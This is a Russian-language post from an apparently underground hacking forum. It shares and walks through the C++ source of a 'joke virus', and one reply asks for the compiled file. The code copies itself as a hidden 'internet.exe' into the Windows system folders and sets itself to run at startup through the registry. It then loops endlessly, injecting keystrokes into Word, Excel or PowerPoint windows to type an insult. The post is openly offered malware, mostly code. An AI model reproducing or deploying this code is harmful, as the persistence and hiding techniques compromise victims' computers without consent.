Исходник вируса на c++. шутка с ms word.

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

garikkk

Участник

garikkk

Участник
13 Окт 2015
176
46
Еще один исходник вируса на C++. Шутка с MS Word. Сейчас по шагам распишем, как устроен этот шутник.

Подключаем библиотеки и создаем основные переменные.

Код:
#include <windows.h>

#include <iostream.h>


WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

{


HKEY key;

char sysdir[256],

windir[256],

myname[256];


Узнаем свое имя функцией GetModuleFileName. И узнает адрес папки windows и папки system32 функциями GetWindowsDirectoryиGetSystemDirectory

Код:
GetModuleFileName(hint,myname,256);

GetWindowsDirectory(windir,sizeof(windir));

GetSystemDirectory(sysdir,sizeof(sysdir));


Добавляем к строкам содержащим пути к системным папкам имя нашего вируса, чтобы скопировать в эти папки себя.

Код:
strcat(windir,"\\internet.exe");

strcat(sysdir,"\\internet.exe");


Копируемся и ставим себе скрытые атрибуты

Код:
CopyFile(myname,windir,FALSE);

CopyFile(myname,sysdir,FALSE);

SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);

SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);




Прописываемся в реестр на автозагрузку

Код:
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);

RegSetValueEx(key,"internet.exe",0,REG_SZ,(BYTE *)sysdir,256);

RegCloseKey(key);


Ожидаем 2 минуты. Зачем не знаю:)
Sleep(60000*2); //Две минуты

Запускаем бесконечный цикл каждые 10 секунд. В цикле ищем окна содержащие в своих заголовках Microsoft Word, Microsoft Excel,Microsoft PowerPoint. Максимизируем окно, переключаем раскладку клавиатуры на русскую и эмулируем нажатие на несколько клавиш. В результате в окне пользователя в WORD сам по себе печатается текст "Вы ламер".

Код:
int k=0;

do

{

if (FindWindow(NULL, "Microsoft Word")!=0 || FindWindow(NULL, "Microsoft Excel")!=0 || FindWindow(NULL, "Microsoft PowerPoint")!=0)

{

ShowWindow(FindWindow(NULL, "Microsoft Word") , SC_MAXIMIZE);

LoadKeyboardLayout("00000419", KLF_ACTIVATE);

Sleep(10000);

do

{

keybd_event('D', 0,0,0);

keybd_event('D', 0,KEYEVENTF_KEYUP,0);

keybd_event('S', 0,0,0);

keybd_event('S', 0,KEYEVENTF_KEYUP,0);

keybd_event(VK_SPACE, 0,0,0);

keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);

keybd_event('K', 0,0,0);

keybd_event('K', 0,KEYEVENTF_KEYUP,0);

keybd_event('F', 0,0,0);

keybd_event('F', 0,KEYEVENTF_KEYUP,0);

keybd_event('V', 0,0,0);

keybd_event('V', 0,KEYEVENTF_KEYUP,0);

keybd_event('T', 0,0,0);

keybd_event('T', 0,KEYEVENTF_KEYUP,0);

keybd_event('H', 0,0,0);

keybd_event('H', 0,KEYEVENTF_KEYUP,0);

}while(1);

}

}while(1);

}


Вот и весь вирус-шутник.
 
  • Лайк
Reactions: JlEgIoN

n0thung

Участник

n0thung

Участник
4 Июл 2016
42
9
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Это как конструктор? =) Почему нельзя было просто фаиликом выложить? =)))А так спасибо
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя